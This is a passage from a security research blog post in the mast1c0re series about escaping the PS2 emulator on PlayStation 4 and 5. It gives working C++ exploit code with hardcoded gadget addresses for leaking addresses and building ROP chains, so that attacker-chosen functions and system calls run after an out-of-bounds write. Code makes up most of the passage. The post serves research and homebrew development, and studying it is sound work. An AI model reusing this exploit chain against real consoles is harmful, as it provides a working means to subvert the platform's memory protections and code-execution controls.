function which performs the necessary steps in order to setup the ROP chain execution. The input/output read handler is also restored to the original function pointer value as it is no longer required once the eboot.bin
and stack addresses have been leaked.
#define IO_REGISTER_READ_HANDLERS 0x060e7880 #define IO_REGISTER_READ_HANDLER_ORIGINAL 0x005a9d60 void PS::Breakout::restoreReadHandler() { PS::Breakout::writeOOB(IO_REGISTER_READ_HANDLERS, EBOOT(IO_REGISTER_READ_HANDLER_ORIGINAL)); } void PS::Breakout::init() { // Leak EBOOT diff PS::Breakout::leakEboot(); // Leak stack address PS::Breakout::leakStack(); // Restore read handler PS::Breakout::restoreReadHandler(); // Setup stage 1 ROP PS::Breakout::setupROP(); }
The following code shows a very simple demonstration of executing two seperate ROP chains, with the first setting the value of the RBX
register to 0x11223344
, and the second setting the RAX
register to 0x55667788
.
#define POP_RBX_RET 0x40c164 // pop rbx ; ret ; #define POP_RAX_RET 0x4f1f0b // pop rax ; ret ; void main() { PS::Breakout::init(); // Set RBX to an arbitrary value PS::Breakout::pushChain(GADGET(POP_RBX_RET)); PS::Breakout::pushChain(0x11223344); PS::Breakout::executeChain(); // Set RAX to an arbitrary value PS::Breakout::pushChain(GADGET(POP_RAX_RET)); PS::Breakout::pushChain(0x55667788); PS::Breakout::executeChain(); }
Setting register values
RAX, RBX, RCX, RDI, RSI
The next step is to create helper functions to set the value of registers in our ROP chain. For the registers RAX
, RBX
, RCX
, RDI
and RSI
this is quite simple, as the corresponding “pop <register>; ret ;
” gadgets exist within the eboot.bin
. For example, the code for setting the RAX register is as shown:
#define POP_RAX_RET 0x4f1f0b // pop rax ; ret ; void PS::Breakout::setRAX(uint64_t rax) { PS::Breakout::pushChain(GADGET(POP_RAX_RET)); PS::Breakout::pushChain(rax); }
The gadgets for the other registers are:
#define POP_RAX_RET 0x4f1f0b // pop rax ; ret ; #define POP_RBX_RET 0x40c164 // pop rbx ; ret ; #define POP_RCX_RET 0x493773 // pop rcx ; ret ; #define POP_RDI_RET 0x401429 // pop rdi ; ret ; #define POP_RSI_RET 0x44756e // pop rsi ; ret ;
RDX
Setting the value of RDX
requires a slightly more complicated chain and changes the value of registers RAX
, RBX
and RDX
. The gadget required is “mov rdx, rax ; call rbx ;
“, which means we first need to set the desired value of RDX
into the RAX
register. We can do this using the setRAX
helper defined previously. Next, the instruction is “call rbx
“, which will push RIP
(instruction pointer) to the stack, then execute the gadget placed in RBX
. Therefore, we can set the value of RBX
to the gadget “pop rbx ; ret ;
” which will pop the return pointer that was pushed onto the stack by the call instruction into RBX
, then return to continue executing the ROP chain.
#define POP_RBX_RET 0x40c164 // pop rbx ; ret ; #define MOV_RDX_RAX_CALL_RBX 0x452ba6 // mov rdx, rax ; call rbx ; // Changes RAX, RBX, RDX void PS::Breakout::setRDX(uint64_t rdx) { PS::Breakout::setRAX(rdx); // Pop call return into RBX PS::Breakout::setRBX(GADGET(POP_RBX_RET)); PS::Breakout::pushChain(GADGET(MOV_RDX_RAX_CALL_RBX)); }
R8
The gadget “mov r8, rbx ; call qword [rax+0x78] ;
” is used to set an arbitrary value into the R8
register. First, we must set the value of RBX
to the desired 64-bit value we want to be stored in R8
. Next, we need to set RAX
to an address which we can write a gadget address to, minus the 0x78
offset. Similar to setting RDX
, we set the gadget to “pop rax ; ret ;
” to pop the call’s return address from the stack.
// mov r8, rbx ; call qword [rax+0x78] ; #define MOV_R8_RBX_CALL_QWORD_OB_RAX_PLUS_0X78_CB 0x4aa93e uint64_t PS::Breakout::gadgetPopRaxRet = GADGET(POP_RAX_RET); // Changes RAX, RBX, R8 void PS::Breakout::setR8(uint64_t r8) { PS::Breakout::setRBX(r8); uint64_t gadget = VAR_TO_NATIVE(PS::Breakout::gadgetPopRaxRet); uint64_t gadget_off = gadget - (uint64_t)0x78; PS::Breakout::setRAX(gadget_off); // Pop call return into RAX PS::Breakout::pushChain( GADGET(MOV_R8_RBX_CALL_QWORD_OB_RAX_PLUS_0X78_CB) ); }
R13
For setting R13
we use the gadget “mov r13, rax ; call qword [rbx+0x08] ;
“, which follows the same process as setting R8
, however with a different address offset of 0x08
.
// mov r13, rax ; call qword [rbx+0x08] ; #define MOV_R13_RAX_CALL_QWORD_OB_RBX_PLUS_0X08_CB 0x5ee19f uint64_t PS::Breakout::gadgetPopRbxRet = GADGET(POP_RBX_RET); // Changes RAX, RBX, R13 void PS::Breakout::setR13(uint64_t r13) { PS::Breakout::setRAX(r13); uint64_t gadget = VAR_TO_NATIVE(PS::Breakout::gadgetPopRbxRet); uint64_t gadget_off = gadget - (uint64_t)0x08; PS::Breakout::setRBX(gadget_off); // Pop call return into RBX PS::Breakout::pushChain( GADGET(MOV_R13_RAX_CALL_QWORD_OB_RBX_PLUS_0X08_CB) ); }
R9
Setting the value of R9
uses the most complex gadget setup out of all the registers so far. It also changes the value of registers RAX
, RBX
, RDI
, R8
, R9
, and R13
. Therefore, we should set the R9
register when required before setting other registers to prevent overwriting required existing register values.
The gadget used is “or r9, rax ; movzx eax, dil ; shl rax, 0x04 ; mov qword [r8+rax], rcx ; mov qword [r8+rax+0x08], r9 ; ret ;
” and requires various constraints in order to successfully execute. As the r9
value is set by using a bitwise OR with the RAX
register, we need to first set the value of r9
to zero.
For this, we can use the gadget “and r9d, r13d ; jmp qword [rbx-0x260032D7] ;
” which performs a bitwise AND with r13
. By setting r13
to zero, we can ensure that r9
will also be set to zero. A pointer to a “ret;
” gadget is then set in RBX
at an offset of +0x260032D7
as shown:
// and r9d, r13d ; jmp qword [rbx-0x260032D7] ; #define AND_R9D_R13D_JMP_QWORD_OB_RBX_0X260032D7_CB 0x7e6114 uint64_t PS::Breakout::gadgetRet = GADGET(RET); // Changes RBX, R9, R13 void PS::Breakout::clearR9() { // Set r9d to zero (r9d & 0) PS::Breakout::setR13(0); uint64_t gadget = VAR_TO_NATIVE(PS::Breakout::gadgetRet); uint64_t gadget_off = gadget + (uint64_t)0x260032D7; PS::Breakout::setRBX(gadget_off); PS::Breakout::pushChain( GADGET(AND_R9D_R13D_JMP_QWORD_OB_RBX_0X260032D7_CB) ); }
Now that R9
is set to zero, we can setup the stack for the gadget “or r9, rax ; movzx eax, dil ; shl rax, 0x04 ; mov qword [r8+rax], rcx ; mov qword [r8+rax+0x08], r9 ; ret ;
” which requires setting RAX
to the required R9
value due to “or r9, rax
” instruction. Next, RDI
must be zero, so that it sets the value of EAX
to zero in the instruction “movzx eax, dil ;
“. After this, “shl rax, 0x04 ;
” will do nothing and RAX
will remain zero. The R8
register must be set to a pointer of a global address which can store the value of RCX
due to the next instruction “mov qword [r8+rax], rcx ;
“. Again, the next instruction “mov qword [r8+rax+0x08], r9 ;
” stores the value of R9
at R8 + 0x08
. Finally, the ret
instruction is reached and the ROP chain execution continues on the stack.
// or r9, rax ; movzx eax, dil ; shl rax, 0x04 ; // mov qword [r8+rax], rcx ; mov qword [r8+rax+0x08], r9 ; ret ; #define OR_R9_RAX_..._0X08_CB_R9_RET 0x4aa53b char PS::Breakout::tempVar[16]; // Changes RAX, RBX, RDI, R8, R9, R13 void PS::Breakout::setR9WhenClear(uint64_t r9) { // or r9, rax uint64_t r8 = VAR_TO_NATIVE(PS::Breakout::tempVar); PS::Breakout::setR8(r8); PS::Breakout::setRAX(r9); PS::Breakout::setRDI(0); PS::Breakout::pushChain(GADGET(OR_R9_RAX_..._0X08_CB_R9_RET)); }
The complete function to set the value of R9
can be seen below:
// or r9, rax ; movzx eax, dil ; shl rax, 0x04 ; // mov qword [r8+rax], rcx ; mov qword [r8+rax+0x08], r9 ; ret ; #define OR_R9_RAX_..._0X08_CB_R9_RET 0x4aa53b // and r9d, r13d ; jmp qword [rbx-0x260032D7] ; #define AND_R9D_R13D_JMP_QWORD_OB_RBX_0X260032D7_CB 0x7e6114 char PS::Breakout::tempVar[16]; uint64_t PS::Breakout::gadgetRet = GADGET(RET); // Changes RAX, RBX, RDI, R8, R9, R13 void PS::Breakout::setR9(uint64_t r9) { // Set r9d to zero (r9d & 0) PS::Breakout::setR13(0); uint64_t gadget = VAR_TO_NATIVE(PS::Breakout::gadgetRet); uint64_t gadget_off = gadget + (uint64_t)0x260032D7; PS::Breakout::setRBX(gadget_off); PS::Breakout::pushChain( GADGET(AND_R9D_R13D_JMP_QWORD_OB_RBX_0X260032D7_CB) ); // or r9, rax uint64_t r8 = VAR_TO_NATIVE(PS::Breakout::tempVar); PS::Breakout::setR8(r8); PS::Breakout::setRAX(r9); PS::Breakout::setRDI(0); PS::Breakout::pushChain(GADGET(OR_R9_RAX_..._0X08_CB_R9_RET)); }
Getting RAX value
The value of the RAX
register can be retrieved using the gadget “mov qword [rsi], rax ; ret ;
“. This requires the RSI
register to be set to a pointer of the target variable, which we can set using setRSI
.
// mov qword [rsi], rax ; ret ; #define MOV_QWORD_OB_RSI_CB_RAX_RET 0x480b8c void PS::Breakout::getRAX(uint64_t* value) { // RSI = &value PS::Breakout::setRSI(PVAR_TO_NATIVE(value)); // value = RAX PS::Breakout::pushChain(GADGET(MOV_QWORD_OB_RSI_CB_RAX_RET)); }
Function calls
Now that we are able to set the value of most registers with various helper functions, our next step is to execute functions. The following table shows us the registers used for each parameter when calling a function:
Return | RAX |
Argument #1 | RDI |
Argument #2 | RSI |
Argument #3 | RDX |
Argument #4 | RCX |
Argument #5 | R8 |
Argument #6 | R9 |
Argument #7 (N = 0) | Stack+0x08 |
Argument #8 (N = 1) | Stack+0x10 |
Argument #N | Stack+0x08+(0x08 * N) |
The following executeAndGetResult
function pushes the function address on to the stack, followed by retrieving the return value from RAX, and then executes the ROP chain.
uint64_t PS::Breakout::executeAndGetResult(uint64_t address) { // Call gadget/function PS::Breakout::pushChain(address); // Get result uint64_t value = 0; PS::Breakout::getRAX(&value); // Trigger chain PS::Breakout::executeChain(); return value; }
0-6 arguments
The following call function shows an example of executing a function with no arguments:
uint64_t PS::Breakout::call(uint64_t address) { PS::Breakout::resetChain(); return PS::Breakout::executeAndGetResult(address); }
Likewise, the following function demonstrates calling a function with 6 arguments. The same functions exist for calling functions with arguments 1 to 5, setting only the required registers for those function calls.
uint64_t PS::Breakout::call( uint64_t address, uint64_t rdi, uint64_t rsi, uint64_t rdx, uint64_t rcx, uint64_t r8, uint64_t r9 ) { PS::Breakout::resetChain(); PS::Breakout::setR9(r9); PS::Breakout::setR8(r8); PS::Breakout::setRDX(rdx); PS::Breakout::setRDI(rdi); PS::Breakout::setRSI(rsi); PS::Breakout::setRCX(rcx); return PS::Breakout::executeAndGetResult(address); }
7 arguments
Calling a function with 7 arguments requires pushing the 7th argument on to the stack. We therefore need to push the gadget “pop rcx ; ret ;
” after the function address in order to pop the 7th argument off the stack after execution the function has completed, in order to continue executing the ROP chain.
#define POP_RCX_RET 0x493773 // pop rcx ; ret ; uint64_t PS::Breakout::call( uint64_t address, uint64_t rdi, uint64_t rsi, uint64_t rdx, uint64_t rcx, uint64_t r8, uint64_t r9, uint64_t stack1 ) { PS::Breakout::resetChain(); PS::Breakout::setR9(r9); PS::Breakout::setR8(r8); PS::Breakout::setRDX(rdx); PS::Breakout::setRDI(rdi); PS::Breakout::setRSI(rsi); PS::Breakout::setRCX(rcx); // Call gadget/function PS::Breakout::pushChain(address); // Pop the following argument off the stack PS::Breakout::pushChain(GADGET(POP_RCX_RET)); PS::Breakout::pushChain(stack1); // Get result uint64_t value = 0; PS::Breakout::getRAX(&value); // Trigger chain PS::Breakout::executeChain(); return value; }
8 arguments
Similar to calling a function with 7 arguments, we need to push the additional 2 arguments on to the stack. In this case, the gadget “pop rcx ; rol ch, 0xF8 ; pop rsi ; ret ;
” is used to pop both argument 7 and argument 8 off the stack before continuing the ROP chain.
// pop rcx ; rol ch, 0xF8 ; pop rsi ; ret ; #define POP_RCX_ROL_CH_0XF8_POP_RSI_RET 0x69c3eb uint64_t PS::Breakout::call( uint64_t address, uint64_t rdi, uint64_t rsi, uint64_t rdx, uint64_t rcx, uint64_t r8, uint64_t r9, uint64_t stack1, uint64_t stack2 ) { PS::Breakout::resetChain(); PS::Breakout::setR9(r9); PS::Breakout::setR8(r8); PS::Breakout::setRDX(rdx); PS::Breakout::setRDI(rdi); PS::Breakout::setRSI(rsi); PS::Breakout::setRCX(rcx); // Call gadget/function PS::Breakout::pushChain(address); // Pop the following arguments off the stack PS::Breakout::pushChain(GADGET(POP_RCX_ROL_CH_0XF8_POP_RSI_RET)); PS::Breakout::pushChain(stack1); PS::Breakout::pushChain(stack2); // Get result uint64_t value = 0; PS::Breakout::getRAX(&value); // Trigger chain PS::Breakout::executeChain(); return value; }
System calls
The only system call gadget I found that continues execution to the ROP chain was in the libkernel.sprx
binary. As previously discussed, leaking the base address of this binary is firmware dependent, therefore calling system calls is currently firmware dependent.
The following table shows us the registers used for each parameter when calling a system call:
Return | RAX |
Syscall Index | RAX |
Argument #1 | RDI |
Argument #2 | RSI |
Argument #3 | RDX |
Argument #4 | RCX |
Argument #5 | R8 |
Argument #6 | R9 |
An example of calling a system call with 3 arguments is shown below:
#define LIB_KERNEL_SYS_RET 0x002b9a uint64_t PS::Breakout::syscall( int32_t index, uint64_t rdi, uint64_t rsi, uint64_t rdx ) { PS::Breakout::resetChain(); PS::Breakout::setRDX(rdx); PS::Breakout::setRAX((uint64_t)index); PS::Breakout::setRDI(rdi); PS::Breakout::setRSI(rsi); return PS::Breakout::executeAndGetResult(LIBKERNEL(LIB_KERNEL_SYS_RET)); }
Restoring corruption
After executing arbitrary ROP chains within the PlayStation 4 or PlayStation 5, we need to restore any previously corrupted data.
First we need to restore the input/output interrupt write handler to the original function address. Then, we need to reset the gSStatusIndex
and gNStatusIndex
to zero.
#define INTERRUPT_WRITE_HANDLERS 0x00ae7d98 #define INTERRUPT_WRITE_HANDLER_ORIGINAL 0x0047da10 void PS::Breakout::restoreWriteHandler() { PS::Breakout::writeOOB(INTERRUPT_WRITE_HANDLERS, EBOOT(INTERRUPT_WRITE_HANDLER_ORIGINAL)); } void PS::Breakout::restore() { // Restore write handler PS::Breakout::restoreWriteHandler(); // Reset statuses PS::Breakout::resetSStatusIndex(); PS::Breakout::resetNStatusIndex(); }
Conclusion
We started the blog post series by exploring how to modify game save files for the PlayStation 2, and specifically modify the game save for Okage: Shadow King by calculating the CRC value.
Then, we developed a typical stack-based buffer overflow with no protections for the PlayStation 2, specifically targeting the game save profile name. We expanded upon that exploit by writing a small amount of custom assembly shellcode to load a PlayStation 2 ELF into memory and execute it.
Finally, we leveraged an out of bounds overflow within the PlayStation emulator which we could leverage to write memory at a relative offset beyond the overflow data. Using this write primitive, we overwrote an input/output read handler in order to execute gadgets and defeat ASLR. Then, we overwrote an input/output write handler in order to setup the ROP chain. Next, after writing a lot of small helper functions to dynamically build a ROP chain, we are able to execute any function or system call within the native PlayStation executable memory mappings.
What’s Next? That’s for you to decide.
Other developers can use this project to implement kernel exploits on all firmware versions which have a working kernel exploit, which would result in the ability to run homebrew on those firmware versions on the PlayStation 4. For the PlayStation 5, a kernel exploit would allow users to be able to achieve the same functionality as other vulnerabilities such as a webkit exploit, which I believe is currently mostly limited to enabling debug settings.
The complete mast1c0re project to build custom PlayStation 4 and PlayStation 5 payloads can be found at McCaulay/mast1c0re.
Massive thanks for the initial research from CTurtE with assistance from flatz, balika011, theflow0, chicken(s).
References
- mast1c0re: Hacking the PS4 / PS5 through the PS2 Emulator – Part 1 – Escape
- ps2tek – Documentation on PS2 Internals
- PS2DEV Open Source Project
- PS Dev Wiki – PS2 Emulation
- PS Dev Wiki – PS2 Classics Emulator Compatibility List
- PS Dev Wiki – PS2 Classics Emulator Configuration List
- PS Dev Wiki – PS4 Syscalls
- FreeBSD 9.1 Syscalls
- x64 Cheatsheet
- CTurt/PS4-SDK
- OpenOrbis-PS4-Toolchain